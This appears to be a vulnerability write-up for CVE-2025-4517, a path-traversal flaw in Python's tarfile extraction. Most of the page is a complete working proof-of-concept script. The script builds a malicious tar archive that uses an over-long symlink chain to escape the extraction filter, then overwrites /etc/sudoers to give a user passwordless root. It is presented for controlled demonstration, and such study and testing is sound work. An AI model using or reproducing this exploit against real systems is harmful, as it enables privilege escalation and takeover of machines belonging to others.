CVE-2025-4517:
Python Tar
CVE-2025-4517 is a vulnerability in Python’s tarfile module where using TarFile.extractall() or TarFile.extract() on an untrusted .tar archive can be abused for path traversal, letting an attacker write files outside the intended extraction directory, potentially overwriting arbitrary files and leading to compromise depending on what gets overwritten.
Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.
For this example we are gonna exploit the tar.extractall() / tar.extract() function to overwrite sudoers file for our user to gain root permissions.
Warning
This example will fully overwrite /etc/sudoers. Make sure to backup this file to prevent your sudoers to go corrupt.
Example of vulnerable code we will be exploiting:
import tarfile
with tarfile.open("poc.tar", "r") as tar:
tar.extractall(path="example", filter="data")
We will be making a modified version of the Google POC
In our case we would like most of the original part but only overwrite a file like:
import tarfile
import os
import io
import sys
# 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896
# on OSX), leaving 128 bytes for a prefix and at least a few chars of the link
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("poc.tar", mode="x") as tar:
# populate the symlinks and dirs that expand in os.path.realpath()
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# create the final symlink that exceeds PATH_MAX and simply points to the
# top dir. this allows *any* path to be appended.
# this link will never be expanded by os.path.realpath(), nor anything after it.
linkpath = os.path.join("/".join(steps), "l"*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = ("../" * len(steps))
tar.addfile(l)
# make a symlink outside to keep the tar command happy
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)
# use the symlinks above, that are not checked, to create a hardlink
# to a file outside of the destination path
f = tarfile.TarInfo("flaglink")
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
# now that we have the hardlink we can overwrite the file
content = b"newroot ALL=(ALL) NOPASSWD: ALL\n"
c = tarfile.TarInfo("flaglink")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))
This will overwrite the /etc/sudoers file to
newroot ALL=(ALL) NOPASSWD: ALL
Giving our user 'newroot', full root access to the machine.
9.4
Critical risk
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Compexity
low
Privileges
none